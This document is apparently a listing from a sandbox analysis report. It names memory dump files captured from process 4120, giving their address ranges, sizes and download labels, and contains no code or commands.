memory/4120-43-0x0000000007A70000-0x0000000007A84000-memory.dmp

Filesize
80KB

Download
memory/4120-44-0x0000000007AB0000-0x0000000007ACA000-memory.dmp

Filesize
104KB

Download
memory/4120-45-0x0000000007AA0000-0x0000000007AA8000-memory.dmp

Filesize
32KB

Download
memory/4120-22-0x0000000071360000-0x0000000071B10000-memory.dmp

Filesize
7.7MB

Download
memory/4120-19-0x0000000006520000-0x000000000656C000-memory.dmp

Filesize
304KB

Download
memory/4120-60-0x000000007136E000-0x000000007136F000-memory.dmp

Filesize
4KB

Download
memory/4120-61-0x0000000071360000-0x0000000071B10000-memory.dmp

Filesize
7.7MB

Download
memory/4120-66-0x0000000071360000-0x0000000071B10000-memory.dmp

Filesize
7.7MB

Download
memory/4120-67-0x0000000007D40000-0x0000000007D62000-memory.dmp

Filesize
136KB

Download
memory/4120-68-0x0000000008AF0000-0x0000000009094000-memory.dmp

Filesize
5.6MB

Download
memory/4120-18-0x00000000064E0000-0x00000000064FE000-memory.dmp

Filesize
120KB

Download
memory/4120-74-0x0000000071360000-0x0000000071B10000-memory.dmp

Filesize
7.7MB

Download
memory/4120-17-0x0000000006000000-0x0000000006354000-memory.dmp

Filesize
3.3MB

Download
memory/4120-6-0x0000000005DF0000-0x0000000005E56000-memory.dmp

Filesize
408KB

Download
memory/4120-9-0x0000000005E60000-0x0000000005EC6000-memory.dmp

Filesize
408KB

Download
memory/4120-5-0x0000000005D50000-0x0000000005D72000-memory.dmp

Filesize
136KB

Download
memory/4120-4-0x0000000071360000-0x0000000071B10000-memory.dmp

Filesize
7.7MB

Download
memory/4120-3-0x00000000055D0000-0x0000000005BF8000-memory.dmp

Filesize
6.2MB

Download
memory/4120-2-0x0000000071360000-0x0000000071B10000-memory.dmp

Filesize
7.7MB

Download
memory/4120-1-0x0000000004F00000-0x0000000004F36000-memory.dmp

Filesize
216KB

Download
memory/4120-0-0x000000007136E000-0x000000007136F000-memory.dmp

Filesize
4KB

Download